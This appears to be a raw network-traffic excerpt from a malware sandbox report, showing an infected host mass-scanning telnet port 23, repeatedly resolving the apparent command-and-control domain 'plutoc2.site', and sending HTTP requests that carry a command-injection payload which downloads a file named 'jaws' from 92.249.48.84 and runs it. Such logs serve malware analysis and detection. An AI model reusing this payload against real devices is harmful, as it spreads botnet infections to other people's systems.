Oct 14, 2024 17:34:18.648663044 CEST	29508	23	192.168.2.14	5.147.202.233
Oct 14, 2024 17:34:18.648663998 CEST	29508	23	192.168.2.14	70.110.108.73
Oct 14, 2024 17:34:18.648663998 CEST	29508	23	192.168.2.14	89.105.146.47
Oct 14, 2024 17:34:18.648663998 CEST	29508	23	192.168.2.14	76.93.131.209
Oct 14, 2024 17:34:18.648667097 CEST	29508	23	192.168.2.14	61.125.254.140
Oct 14, 2024 17:34:18.648669958 CEST	29508	23	192.168.2.14	140.180.220.15
Oct 14, 2024 17:34:18.648674965 CEST	29508	23	192.168.2.14	68.106.67.214
Oct 14, 2024 17:34:18.648679018 CEST	29508	23	192.168.2.14	139.64.145.20
Oct 14, 2024 17:34:18.648689032 CEST	29508	23	192.168.2.14	63.117.126.47
Oct 14, 2024 17:34:18.648690939 CEST	29508	23	192.168.2.14	200.46.79.145
Oct 14, 2024 17:34:18.648694038 CEST	29508	23	192.168.2.14	133.53.205.163
Oct 14, 2024 17:34:18.648694038 CEST	29508	23	192.168.2.14	222.181.45.149
Oct 14, 2024 17:34:18.648701906 CEST	29508	23	192.168.2.14	97.168.6.119
Oct 14, 2024 17:34:18.648705006 CEST	29508	23	192.168.2.14	53.112.45.195
Oct 14, 2024 17:34:18.648708105 CEST	29508	23	192.168.2.14	119.155.78.82
Oct 14, 2024 17:34:18.648720026 CEST	29508	23	192.168.2.14	5.183.28.116
Oct 14, 2024 17:34:18.648721933 CEST	29508	23	192.168.2.14	20.34.88.9
Oct 14, 2024 17:34:18.648735046 CEST	29508	23	192.168.2.14	13.154.57.57
Oct 14, 2024 17:34:18.648741007 CEST	29508	23	192.168.2.14	134.244.16.207
Oct 14, 2024 17:34:18.648742914 CEST	29508	23	192.168.2.14	2.62.24.7
Oct 14, 2024 17:34:18.648742914 CEST	29508	23	192.168.2.14	61.65.172.130
Oct 14, 2024 17:34:18.648744106 CEST	29508	23	192.168.2.14	133.10.251.1
Oct 14, 2024 17:34:18.648751974 CEST	29508	23	192.168.2.14	44.231.114.185
Oct 14, 2024 17:34:18.648751974 CEST	29508	23	192.168.2.14	87.114.211.212
Oct 14, 2024 17:34:18.648757935 CEST	29508	23	192.168.2.14	88.16.197.100
Oct 14, 2024 17:34:18.648768902 CEST	29508	23	192.168.2.14	170.142.107.237
Oct 14, 2024 17:34:18.648775101 CEST	29508	23	192.168.2.14	144.247.86.253
Oct 14, 2024 17:34:18.648778915 CEST	29508	23	192.168.2.14	117.149.125.128
Oct 14, 2024 17:34:18.648797035 CEST	29508	23	192.168.2.14	94.168.115.168
Oct 14, 2024 17:34:18.648797035 CEST	29508	23	192.168.2.14	87.202.194.137
Oct 14, 2024 17:34:18.648802996 CEST	29508	23	192.168.2.14	172.230.147.154
Oct 14, 2024 17:34:18.648802996 CEST	29508	23	192.168.2.14	13.212.93.13
Oct 14, 2024 17:34:18.648802996 CEST	29508	23	192.168.2.14	219.151.33.103
Oct 14, 2024 17:34:18.648802996 CEST	29508	23	192.168.2.14	146.238.95.230
Oct 14, 2024 17:34:18.648802996 CEST	29508	23	192.168.2.14	4.19.93.222
Oct 14, 2024 17:34:18.648813963 CEST	29508	23	192.168.2.14	139.179.214.219
Oct 14, 2024 17:34:18.648818016 CEST	29508	23	192.168.2.14	12.139.174.156
Oct 14, 2024 17:34:18.648830891 CEST	29508	23	192.168.2.14	99.247.48.114
Oct 14, 2024 17:34:18.648830891 CEST	29508	23	192.168.2.14	161.117.187.93
Oct 14, 2024 17:34:18.648838997 CEST	29508	23	192.168.2.14	153.139.4.91
Oct 14, 2024 17:34:18.648852110 CEST	29508	23	192.168.2.14	36.69.9.118
Oct 14, 2024 17:34:18.648854017 CEST	29508	23	192.168.2.14	143.5.7.115
Oct 14, 2024 17:34:18.648859024 CEST	29508	23	192.168.2.14	66.224.29.155
Oct 14, 2024 17:34:18.648863077 CEST	29508	23	192.168.2.14	128.79.88.67
Oct 14, 2024 17:34:18.648863077 CEST	29508	23	192.168.2.14	90.20.107.59
Oct 14, 2024 17:34:18.648869038 CEST	29508	23	192.168.2.14	183.72.249.210
Oct 14, 2024 17:34:18.648869038 CEST	29508	23	192.168.2.14	41.22.16.42
Oct 14, 2024 17:34:18.648869991 CEST	29508	23	192.168.2.14	44.101.239.164
Oct 14, 2024 17:34:18.648869991 CEST	29508	23	192.168.2.14	31.252.234.181
Oct 14, 2024 17:34:18.648870945 CEST	29508	23	192.168.2.14	81.177.170.143
Oct 14, 2024 17:34:18.648874998 CEST	29508	23	192.168.2.14	45.220.163.68
Oct 14, 2024 17:34:18.648879051 CEST	29508	23	192.168.2.14	188.96.142.177
Oct 14, 2024 17:34:18.648879051 CEST	29508	23	192.168.2.14	114.88.15.100
Oct 14, 2024 17:34:18.648880005 CEST	29508	23	192.168.2.14	104.29.33.203
Oct 14, 2024 17:34:18.648888111 CEST	29508	23	192.168.2.14	136.30.202.32
Oct 14, 2024 17:34:18.648888111 CEST	29508	23	192.168.2.14	141.112.3.185
Oct 14, 2024 17:34:18.648889065 CEST	29508	23	192.168.2.14	144.36.117.101
Oct 14, 2024 17:34:18.648888111 CEST	29508	23	192.168.2.14	34.189.94.234
Oct 14, 2024 17:34:18.648888111 CEST	29508	23	192.168.2.14	97.105.69.245
Oct 14, 2024 17:34:18.648896933 CEST	29508	23	192.168.2.14	8.245.177.18
Oct 14, 2024 17:34:18.648900032 CEST	29508	23	192.168.2.14	124.231.34.97
Oct 14, 2024 17:34:18.648900032 CEST	29508	23	192.168.2.14	23.16.232.234
Oct 14, 2024 17:34:18.648902893 CEST	29508	23	192.168.2.14	189.17.219.196
Oct 14, 2024 17:34:18.648902893 CEST	29508	23	192.168.2.14	143.255.133.248
Oct 14, 2024 17:34:18.648904085 CEST	29508	23	192.168.2.14	164.120.56.130
Oct 14, 2024 17:34:18.648905039 CEST	29508	23	192.168.2.14	118.147.234.138
Oct 14, 2024 17:34:18.648904085 CEST	29508	23	192.168.2.14	2.119.147.249
Oct 14, 2024 17:34:18.648909092 CEST	29508	23	192.168.2.14	184.8.118.195
Oct 14, 2024 17:34:18.648915052 CEST	29508	23	192.168.2.14	44.241.213.99
Oct 14, 2024 17:34:18.648921013 CEST	29508	23	192.168.2.14	90.57.118.75
Oct 14, 2024 17:34:18.648930073 CEST	29508	23	192.168.2.14	203.223.133.155
Oct 14, 2024 17:34:18.648931026 CEST	29508	23	192.168.2.14	81.138.163.58
Oct 14, 2024 17:34:18.648931026 CEST	29508	23	192.168.2.14	35.33.82.239
Oct 14, 2024 17:34:18.648941994 CEST	29508	23	192.168.2.14	121.230.17.209
Oct 14, 2024 17:34:18.648943901 CEST	29508	23	192.168.2.14	95.110.156.76
Oct 14, 2024 17:34:18.648960114 CEST	29508	23	192.168.2.14	66.98.83.25
Oct 14, 2024 17:34:18.648960114 CEST	29508	23	192.168.2.14	129.247.222.142
Oct 14, 2024 17:34:18.648960114 CEST	29508	23	192.168.2.14	175.229.91.90
Oct 14, 2024 17:34:18.648963928 CEST	29508	23	192.168.2.14	90.53.231.11
Oct 14, 2024 17:34:18.648982048 CEST	29508	23	192.168.2.14	161.81.105.47
Oct 14, 2024 17:34:18.648982048 CEST	29508	23	192.168.2.14	144.103.251.248
Oct 14, 2024 17:34:18.648982048 CEST	29508	23	192.168.2.14	159.78.95.69
Oct 14, 2024 17:34:18.648986101 CEST	29508	23	192.168.2.14	201.29.180.71
Oct 14, 2024 17:34:18.648987055 CEST	29508	23	192.168.2.14	136.200.186.210
Oct 14, 2024 17:34:18.648987055 CEST	29508	23	192.168.2.14	73.186.222.45
Oct 14, 2024 17:34:18.648987055 CEST	29508	23	192.168.2.14	175.215.142.104
Oct 14, 2024 17:34:18.648993969 CEST	29508	23	192.168.2.14	162.47.79.23
Oct 14, 2024 17:34:18.648997068 CEST	29508	23	192.168.2.14	12.82.254.12
Oct 14, 2024 17:34:18.649002075 CEST	29508	23	192.168.2.14	163.110.192.3
Oct 14, 2024 17:34:18.649008989 CEST	29508	23	192.168.2.14	48.238.109.113
Oct 14, 2024 17:34:18.649017096 CEST	29508	23	192.168.2.14	162.210.190.255
Oct 14, 2024 17:34:18.649018049 CEST	29508	23	192.168.2.14	118.101.60.131
Oct 14, 2024 17:34:18.649027109 CEST	29508	23	192.168.2.14	197.89.198.45
Oct 14, 2024 17:34:18.649027109 CEST	29508	23	192.168.2.14	59.240.198.32
Oct 14, 2024 17:34:18.649036884 CEST	29508	23	192.168.2.14	104.135.243.127
Oct 14, 2024 17:34:18.649045944 CEST	29508	23	192.168.2.14	178.135.12.173
Oct 14, 2024 17:34:18.649046898 CEST	29508	23	192.168.2.14	183.176.174.184
Oct 14, 2024 17:34:18.649055958 CEST	29508	23	192.168.2.14	130.101.174.90
Oct 14, 2024 17:34:18.649056911 CEST	29508	23	192.168.2.14	140.218.157.29
Oct 14, 2024 17:34:18.649066925 CEST	29508	23	192.168.2.14	121.157.38.99
Oct 14, 2024 17:34:18.649076939 CEST	29508	23	192.168.2.14	150.225.183.215
Oct 14, 2024 17:34:18.649076939 CEST	29508	23	192.168.2.14	133.54.245.190
Oct 14, 2024 17:34:18.649077892 CEST	29508	23	192.168.2.14	8.66.98.154
Oct 14, 2024 17:34:18.649081945 CEST	29508	23	192.168.2.14	204.212.112.21
Oct 14, 2024 17:34:18.649084091 CEST	29508	23	192.168.2.14	35.59.161.34
Oct 14, 2024 17:34:18.649090052 CEST	29508	23	192.168.2.14	212.181.180.161
Oct 14, 2024 17:34:18.649092913 CEST	29508	23	192.168.2.14	77.74.142.4
Oct 14, 2024 17:34:18.649096966 CEST	29508	23	192.168.2.14	107.69.147.238
Oct 14, 2024 17:34:18.649106026 CEST	29508	23	192.168.2.14	54.159.188.59
Oct 14, 2024 17:34:18.649107933 CEST	29508	23	192.168.2.14	86.249.92.26
Oct 14, 2024 17:34:18.649116993 CEST	29508	23	192.168.2.14	150.170.214.238
Oct 14, 2024 17:34:18.649122953 CEST	29508	23	192.168.2.14	2.24.228.77
Oct 14, 2024 17:34:18.649127960 CEST	29508	23	192.168.2.14	59.5.19.65
Oct 14, 2024 17:34:18.649133921 CEST	29508	23	192.168.2.14	113.10.19.113
Oct 14, 2024 17:34:18.649137020 CEST	29508	23	192.168.2.14	89.55.131.230
Oct 14, 2024 17:34:18.649142027 CEST	29508	23	192.168.2.14	166.119.111.255
Oct 14, 2024 17:34:18.649142981 CEST	29508	23	192.168.2.14	72.60.146.194
Oct 14, 2024 17:34:18.649153948 CEST	29508	23	192.168.2.14	206.104.183.4
Oct 14, 2024 17:34:18.649162054 CEST	29508	23	192.168.2.14	151.163.189.33
Oct 14, 2024 17:34:18.649163961 CEST	29508	23	192.168.2.14	63.27.68.106
Oct 14, 2024 17:34:18.649167061 CEST	29508	23	192.168.2.14	49.45.119.224
Oct 14, 2024 17:34:18.649172068 CEST	29508	23	192.168.2.14	46.37.210.89
Oct 14, 2024 17:34:18.649177074 CEST	29508	23	192.168.2.14	13.247.169.194
Oct 14, 2024 17:34:18.649194956 CEST	29508	23	192.168.2.14	167.128.109.106
Oct 14, 2024 17:34:18.649195910 CEST	29508	23	192.168.2.14	191.132.133.163
Oct 14, 2024 17:34:18.649195910 CEST	29508	23	192.168.2.14	145.125.9.14
Oct 14, 2024 17:34:18.649199963 CEST	29508	23	192.168.2.14	60.162.216.86
Oct 14, 2024 17:34:18.649204016 CEST	29508	23	192.168.2.14	35.205.196.19
Oct 14, 2024 17:34:18.649208069 CEST	29508	23	192.168.2.14	202.253.10.99
Oct 14, 2024 17:34:18.649219036 CEST	29508	23	192.168.2.14	85.51.117.226
Oct 14, 2024 17:34:18.649220943 CEST	29508	23	192.168.2.14	187.119.76.20
Oct 14, 2024 17:34:18.649231911 CEST	29508	23	192.168.2.14	104.238.183.162
Oct 14, 2024 17:34:18.649235010 CEST	29508	23	192.168.2.14	67.82.190.63
Oct 14, 2024 17:34:18.649235010 CEST	29508	23	192.168.2.14	120.249.195.165
Oct 14, 2024 17:34:18.649235010 CEST	29508	23	192.168.2.14	165.167.10.137
Oct 14, 2024 17:34:18.649235010 CEST	29508	23	192.168.2.14	92.14.175.120
Oct 14, 2024 17:34:18.649254084 CEST	29508	23	192.168.2.14	152.99.229.202
Oct 14, 2024 17:34:18.649255037 CEST	29508	23	192.168.2.14	111.237.60.114
Oct 14, 2024 17:34:18.649260044 CEST	29508	23	192.168.2.14	184.19.62.35
Oct 14, 2024 17:34:18.649264097 CEST	29508	23	192.168.2.14	83.133.30.167
Oct 14, 2024 17:34:18.649269104 CEST	29508	23	192.168.2.14	152.16.254.36
Oct 14, 2024 17:34:18.649272919 CEST	29508	23	192.168.2.14	118.11.168.131
Oct 14, 2024 17:34:18.649281025 CEST	29508	23	192.168.2.14	107.183.15.170
Oct 14, 2024 17:34:18.649281025 CEST	29508	23	192.168.2.14	46.251.37.254
Oct 14, 2024 17:34:18.649287939 CEST	29508	23	192.168.2.14	85.201.168.75
Oct 14, 2024 17:34:18.649296045 CEST	29508	23	192.168.2.14	74.14.156.217
Oct 14, 2024 17:34:18.649296045 CEST	29508	23	192.168.2.14	9.167.162.10
Oct 14, 2024 17:34:18.649306059 CEST	29508	23	192.168.2.14	180.60.76.199
Oct 14, 2024 17:34:18.649306059 CEST	29508	23	192.168.2.14	2.175.189.125
Oct 14, 2024 17:34:18.649307013 CEST	29508	23	192.168.2.14	69.62.140.56
Oct 14, 2024 17:34:18.649312019 CEST	29508	23	192.168.2.14	204.160.95.231
Oct 14, 2024 17:34:18.649322987 CEST	29508	23	192.168.2.14	115.219.76.220
Oct 14, 2024 17:34:18.649322987 CEST	29508	23	192.168.2.14	86.122.27.175
Oct 14, 2024 17:34:18.649329901 CEST	29508	23	192.168.2.14	139.80.244.194
Oct 14, 2024 17:34:18.649331093 CEST	29508	23	192.168.2.14	45.66.107.103
Oct 14, 2024 17:34:18.649336100 CEST	29508	23	192.168.2.14	177.87.49.167
Oct 14, 2024 17:34:18.649342060 CEST	29508	23	192.168.2.14	75.192.31.59
Oct 14, 2024 17:34:18.649347067 CEST	29508	23	192.168.2.14	190.146.239.216
Oct 14, 2024 17:34:18.649359941 CEST	29508	23	192.168.2.14	1.123.41.223
Oct 14, 2024 17:34:18.649362087 CEST	29508	23	192.168.2.14	213.209.193.248
Oct 14, 2024 17:34:18.649363995 CEST	29508	23	192.168.2.14	58.71.133.91
Oct 14, 2024 17:34:18.649372101 CEST	29508	23	192.168.2.14	151.27.82.100
Oct 14, 2024 17:34:18.649378061 CEST	29508	23	192.168.2.14	186.0.143.135
Oct 14, 2024 17:34:18.649378061 CEST	29508	23	192.168.2.14	51.254.36.138
Oct 14, 2024 17:34:18.649384975 CEST	29508	23	192.168.2.14	140.46.199.8
Oct 14, 2024 17:34:18.649384975 CEST	29508	23	192.168.2.14	17.175.255.223
Oct 14, 2024 17:34:18.649396896 CEST	29508	23	192.168.2.14	217.7.109.227
Oct 14, 2024 17:34:18.649404049 CEST	29508	23	192.168.2.14	27.51.177.165
Oct 14, 2024 17:34:18.649418116 CEST	29508	23	192.168.2.14	83.77.122.195
Oct 14, 2024 17:34:18.649419069 CEST	29508	23	192.168.2.14	146.176.5.140
Oct 14, 2024 17:34:18.649419069 CEST	29508	23	192.168.2.14	135.189.202.193
Oct 14, 2024 17:34:18.649420023 CEST	29508	23	192.168.2.14	51.135.41.131
Oct 14, 2024 17:34:18.649425983 CEST	29508	23	192.168.2.14	34.221.87.246
Oct 14, 2024 17:34:18.649425983 CEST	29508	23	192.168.2.14	83.67.190.82
Oct 14, 2024 17:34:18.649440050 CEST	29508	23	192.168.2.14	47.225.6.76
Oct 14, 2024 17:34:18.649441957 CEST	29508	23	192.168.2.14	105.181.114.79
Oct 14, 2024 17:34:18.649447918 CEST	29508	23	192.168.2.14	92.253.93.123
Oct 14, 2024 17:34:18.649456024 CEST	29508	23	192.168.2.14	2.108.232.158
Oct 14, 2024 17:34:18.649462938 CEST	29508	23	192.168.2.14	201.55.57.204
Oct 14, 2024 17:34:18.649475098 CEST	29508	23	192.168.2.14	122.51.153.15
Oct 14, 2024 17:34:18.649477005 CEST	29508	23	192.168.2.14	2.221.90.69
Oct 14, 2024 17:34:18.649477005 CEST	29508	23	192.168.2.14	221.90.207.55
Oct 14, 2024 17:34:18.649478912 CEST	29508	23	192.168.2.14	98.58.107.77
Oct 14, 2024 17:34:18.649480104 CEST	29508	23	192.168.2.14	199.190.101.214
Oct 14, 2024 17:34:18.649480104 CEST	29508	23	192.168.2.14	216.198.2.196
Oct 14, 2024 17:34:18.649491072 CEST	29508	23	192.168.2.14	27.12.110.180
Oct 14, 2024 17:34:18.649501085 CEST	29508	23	192.168.2.14	151.64.69.236
Oct 14, 2024 17:34:18.649504900 CEST	29508	23	192.168.2.14	179.179.177.176
Oct 14, 2024 17:34:18.649513006 CEST	29508	23	192.168.2.14	198.162.23.34
Oct 14, 2024 17:34:18.649517059 CEST	29508	23	192.168.2.14	152.174.160.91
Oct 14, 2024 17:34:18.649523020 CEST	29508	23	192.168.2.14	157.31.0.92
Oct 14, 2024 17:34:18.649523973 CEST	29508	23	192.168.2.14	177.71.243.160
Oct 14, 2024 17:34:18.649525881 CEST	29508	23	192.168.2.14	57.20.176.15
Oct 14, 2024 17:34:18.649527073 CEST	29508	23	192.168.2.14	208.14.169.68
Oct 14, 2024 17:34:18.650439024 CEST	52790	23	192.168.2.14	216.164.186.241
Oct 14, 2024 17:34:18.651025057 CEST	23	39840	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:18.651751041 CEST	51112	23	192.168.2.14	8.6.164.125
Oct 14, 2024 17:34:18.654077053 CEST	36148	23	192.168.2.14	17.83.250.105
Oct 14, 2024 17:34:18.654192924 CEST	23	40024	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:18.654237032 CEST	40024	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:18.655437946 CEST	23	29508	154.155.58.110	192.168.2.14
Oct 14, 2024 17:34:18.655447960 CEST	23	29508	50.94.111.204	192.168.2.14
Oct 14, 2024 17:34:18.655498981 CEST	29508	23	192.168.2.14	154.155.58.110
Oct 14, 2024 17:34:18.655549049 CEST	23	29508	181.211.174.37	192.168.2.14
Oct 14, 2024 17:34:18.655560017 CEST	23	29508	136.14.247.102	192.168.2.14
Oct 14, 2024 17:34:18.655567884 CEST	29508	23	192.168.2.14	50.94.111.204
Oct 14, 2024 17:34:18.655579090 CEST	36756	23	192.168.2.14	175.156.98.105
Oct 14, 2024 17:34:18.655580044 CEST	23	29508	126.254.250.243	192.168.2.14
Oct 14, 2024 17:34:18.655594110 CEST	23	29508	141.249.218.113	192.168.2.14
Oct 14, 2024 17:34:18.655596972 CEST	29508	23	192.168.2.14	181.211.174.37
Oct 14, 2024 17:34:18.655602932 CEST	29508	23	192.168.2.14	136.14.247.102
Oct 14, 2024 17:34:18.655607939 CEST	29508	23	192.168.2.14	126.254.250.243
Oct 14, 2024 17:34:18.655611992 CEST	23	29508	61.2.237.197	192.168.2.14
Oct 14, 2024 17:34:18.655631065 CEST	23	29508	82.5.226.125	192.168.2.14
Oct 14, 2024 17:34:18.655641079 CEST	23	29508	175.225.197.9	192.168.2.14
Oct 14, 2024 17:34:18.655644894 CEST	29508	23	192.168.2.14	141.249.218.113
Oct 14, 2024 17:34:18.655644894 CEST	29508	23	192.168.2.14	61.2.237.197
Oct 14, 2024 17:34:18.655649900 CEST	23	29508	196.29.67.169	192.168.2.14
Oct 14, 2024 17:34:18.655657053 CEST	29508	23	192.168.2.14	82.5.226.125
Oct 14, 2024 17:34:18.655661106 CEST	23	29508	34.71.186.129	192.168.2.14
Oct 14, 2024 17:34:18.655669928 CEST	23	29508	48.21.74.84	192.168.2.14
Oct 14, 2024 17:34:18.655680895 CEST	23	29508	142.16.172.80	192.168.2.14
Oct 14, 2024 17:34:18.655682087 CEST	29508	23	192.168.2.14	175.225.197.9
Oct 14, 2024 17:34:18.655690908 CEST	23	29508	100.175.171.115	192.168.2.14
Oct 14, 2024 17:34:18.655695915 CEST	29508	23	192.168.2.14	196.29.67.169
Oct 14, 2024 17:34:18.655699968 CEST	23	29508	175.115.245.98	192.168.2.14
Oct 14, 2024 17:34:18.655702114 CEST	29508	23	192.168.2.14	34.71.186.129
Oct 14, 2024 17:34:18.655709028 CEST	29508	23	192.168.2.14	142.16.172.80
Oct 14, 2024 17:34:18.655714035 CEST	23	29508	154.201.246.118	192.168.2.14
Oct 14, 2024 17:34:18.655725002 CEST	29508	23	192.168.2.14	48.21.74.84
Oct 14, 2024 17:34:18.655726910 CEST	23	29508	71.168.86.203	192.168.2.14
Oct 14, 2024 17:34:18.655728102 CEST	29508	23	192.168.2.14	100.175.171.115
Oct 14, 2024 17:34:18.655735970 CEST	23	29508	220.221.198.119	192.168.2.14
Oct 14, 2024 17:34:18.655745983 CEST	23	29508	93.97.86.166	192.168.2.14
Oct 14, 2024 17:34:18.655745029 CEST	29508	23	192.168.2.14	175.115.245.98
Oct 14, 2024 17:34:18.655746937 CEST	29508	23	192.168.2.14	154.201.246.118
Oct 14, 2024 17:34:18.655755043 CEST	23	29508	201.205.174.213	192.168.2.14
Oct 14, 2024 17:34:18.655759096 CEST	29508	23	192.168.2.14	71.168.86.203
Oct 14, 2024 17:34:18.655764103 CEST	23	29508	2.215.210.23	192.168.2.14
Oct 14, 2024 17:34:18.655765057 CEST	29508	23	192.168.2.14	220.221.198.119
Oct 14, 2024 17:34:18.655774117 CEST	23	29508	94.227.55.220	192.168.2.14
Oct 14, 2024 17:34:18.655776978 CEST	29508	23	192.168.2.14	93.97.86.166
Oct 14, 2024 17:34:18.655781984 CEST	23	29508	45.252.250.246	192.168.2.14
Oct 14, 2024 17:34:18.655791044 CEST	23	29508	66.68.97.178	192.168.2.14
Oct 14, 2024 17:34:18.655792952 CEST	29508	23	192.168.2.14	201.205.174.213
Oct 14, 2024 17:34:18.655808926 CEST	29508	23	192.168.2.14	2.215.210.23
Oct 14, 2024 17:34:18.655812979 CEST	29508	23	192.168.2.14	94.227.55.220
Oct 14, 2024 17:34:18.655822992 CEST	29508	23	192.168.2.14	45.252.250.246
Oct 14, 2024 17:34:18.655833006 CEST	29508	23	192.168.2.14	66.68.97.178
Oct 14, 2024 17:34:18.657351017 CEST	34580	23	192.168.2.14	201.234.140.34
Oct 14, 2024 17:34:18.658221006 CEST	23	29508	161.1.180.88	192.168.2.14
Oct 14, 2024 17:34:18.658231974 CEST	23	29508	133.13.188.116	192.168.2.14
Oct 14, 2024 17:34:18.658241034 CEST	23	29508	85.194.212.235	192.168.2.14
Oct 14, 2024 17:34:18.658250093 CEST	23	29508	90.154.27.120	192.168.2.14
Oct 14, 2024 17:34:18.658257961 CEST	29508	23	192.168.2.14	161.1.180.88
Oct 14, 2024 17:34:18.658265114 CEST	29508	23	192.168.2.14	133.13.188.116

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 14, 2024 17:34:10.879422903 CEST	192.168.2.14	8.8.8.8	0x7ecf	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:33.291949987 CEST	192.168.2.14	8.8.8.8	0xe7bd	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:55.691256046 CEST	192.168.2.14	8.8.8.8	0x663c	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:56.711111069 CEST	192.168.2.14	8.8.8.8	0xc676	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:57.731720924 CEST	192.168.2.14	8.8.8.8	0x3ef2	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:35:21.162833929 CEST	192.168.2.14	8.8.8.8	0x6769	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:35:43.885420084 CEST	192.168.2.14	8.8.8.8	0xcea4	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:36:06.356236935 CEST	192.168.2.14	8.8.8.8	0xca3a	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 14, 2024 17:34:10.887806892 CEST	8.8.8.8	192.168.2.14	0x7ecf	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:10.887806892 CEST	8.8.8.8	192.168.2.14	0x7ecf	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:33.312197924 CEST	8.8.8.8	192.168.2.14	0xe7bd	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:33.312197924 CEST	8.8.8.8	192.168.2.14	0xe7bd	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:55.698498011 CEST	8.8.8.8	192.168.2.14	0x663c	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:55.698498011 CEST	8.8.8.8	192.168.2.14	0x663c	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:56.718381882 CEST	8.8.8.8	192.168.2.14	0xc676	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:56.718381882 CEST	8.8.8.8	192.168.2.14	0xc676	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:57.739173889 CEST	8.8.8.8	192.168.2.14	0x3ef2	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:34:57.739173889 CEST	8.8.8.8	192.168.2.14	0x3ef2	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:35:21.169742107 CEST	8.8.8.8	192.168.2.14	0x6769	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:35:21.169742107 CEST	8.8.8.8	192.168.2.14	0x6769	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:35:43.893024921 CEST	8.8.8.8	192.168.2.14	0xcea4	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:35:43.893024921 CEST	8.8.8.8	192.168.2.14	0xcea4	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:36:06.363507986 CEST	8.8.8.8	192.168.2.14	0xca3a	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:36:06.363507986 CEST	8.8.8.8	192.168.2.14	0xca3a	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	36040	115.173.179.104	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.281152010 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	46556	69.163.97.129	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.282140970 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	48092	2.17.128.182	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.283297062 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	35452	211.76.58.110	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.284780979 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	38100	115.51.250.229	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.286648035 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	40468	68.165.240.71	80

Timestamp	Bytes transferred	Direction	Data
